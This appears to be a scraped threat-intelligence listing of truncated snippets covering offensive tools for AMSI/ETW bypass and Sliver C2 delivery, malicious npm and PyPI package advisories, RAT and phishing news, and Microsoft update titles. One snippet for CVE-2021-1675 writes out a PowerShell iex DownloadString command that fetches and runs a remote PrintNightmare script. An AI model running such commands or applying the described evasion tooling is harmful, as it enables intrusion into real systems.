CTT-MICROSOFT-OFFICE-OLE-MANIFOLD-BYPASS-CVE-2026-21509

🏛️CTT -Microsoft Office OLE Manifold BYPASS CVE-2026-21509 Standardized CTT Implementation for 1096x Temporal Execution ! 📜 Vulnerability Overview CVE-2026-21509 is a critical bypass in the Microsoft Office OLE Object Linking and Embedding validation engine. While standard "laminar" exploits...

SliverMirage

SliverMirage A fork of CrystalSliver, extending the Crystal Palace PICO loader with dual-layer AMSI bypass, ETW silencing, and six delivery variants for Sliver C2. What it does SliverMirage wraps a Sliver implant DLL through Crystal Palace PICO virtualization, then delivers it via a loader that...

CouchPotato

CouchPotato Make sure you compile on your own to avoid detection.. certain strings are XOR at compile time.. I will not be publishing anymore binaries. Usage: CouchPotato.exe ip port Patches ETW & AMSI and uses indirect syscall to abuse SeImpersonatePrivilege. Service account || Admin - NT system...

cve-2021-1675

cve-2021-1675 deshabilitar amsi: copiar en powershell https://raw.githubusercontent.com/jj4152/cve-2021-1675/main/disable-amsi.txt ejecutar invoke-script iex New-Object Net.WebClient.DownloadString'https://raw.githubusercontent.com/jj4152/cve-2021-1675/main/Invoke-Nightmare.ps1' crear cuenta de...

TALKINGEBN

|-------------------| TALKINGBEN : --- Un malware BootKit que primero realiza una escalada de privilegios en la máquina víctima. Utilizando parcheo en NtTraceEvent y AMSI escáner de búfer de memoria, lo que le permite evadir Windows Defender y cargar un payload sin ser detectado. Luego usamos...

MAL-2026-13941 Malicious code in @solana-js/web3 (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 9b539591552f3e960f65ceb70d946bc56f240f9bdb1400c501723aa32fd305ec Package name @solana-js/web3 impersonates the legitimate @solana/web3.js SDK, and package.json falsely attributes authorship to 'Solana Labs' with a...

Malicious code in @solana-js/web3 (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 9b539591552f3e960f65ceb70d946bc56f240f9bdb1400c501723aa32fd305ec Package name @solana-js/web3 impersonates the legitimate @solana/web3.js SDK, and package.json falsely attributes authorship to 'Solana Labs' with a...

Hackers Use PyInstaller and AMSI Patching to Deliver XWorm RAT v7.4

Hackers are hiding XWorm malware in PyInstaller files to bypass Windows security, steal data and remotely control devices through ads...

Description of the security update for SharePoint Server 2019 Language Pack: October 14, 2025 (KB5002798)

None None...

EUVD-2023-44309

Malicious code in bioql PyPI...

Ninja

This is an open-source C2 server created for stealth red team operations, specifically designed to bypass AMSI Advanced Threat and Malware Protection and other security measures. The server is written in PowerShell and utilizes various modules to achieve its goals. The server includes several...

Description of the security update for SharePoint Server 2019: September 9, 2025 (KB5002775)

None None...

Malicious code in romeo-november-amsi (npm)

The package romeo-november-amsi was found to contain malicious code...

MAL-2025-32393 Malicious code in romeo-november-amsi (npm)

The package romeo-november-amsi was found to contain malicious code...

Exploit for Deserialization of Untrusted Data in Microsoft

ZeroPoint.ps1 ⚠ A defensive PowerShell utility to detect an...

A Bag of RATs: VenomRAT vs. AsyncRAT

Introduction Remote access tools RATs have long been a favorite tool for cyber attackers, since they enable remote control over compromised systems and facilitate data theft, espionage, and continuous monitoring of victims. Among the well-known RATs are VenomRAT and AsyncRAT. These are open-sourc...

June 11, 2024—KB5039236 (OS Build 25398.950)

None None...

Description of the security update for SharePoint Enterprise Server 2016: June 11, 2024 (KB5002604)

None None...

Alert: New Phishing Attack Delivers Keylogger Disguised as Bank Payment Notice

A new phishing campaign has been observed leveraging a novel loader malware to deliver an information stealer and keylogger called Agent Tesla. Trustwave SpiderLabs said it identified a phishing email bearing this attack chain on March 8, 2024. The message masquerades as a bank payment...

BestEdrOfTheMarket - Little AV/EDR Bypassing Lab For Training And Learning Purposes

Little AV/EDR Evasion Lab for training & learning purposes. ️ under construction..​ | | | | | | \ / \ / | | | | | \ / / | | | | | | | | | | | | | | | | | | ' \ / \ | | | /\ \ | | || || | | || | | | | | | | | / |/||/| ||/|| \ /|| || || ||| | / | | | | | | |/| |/ | '| |/ / \ | | | | | | | |...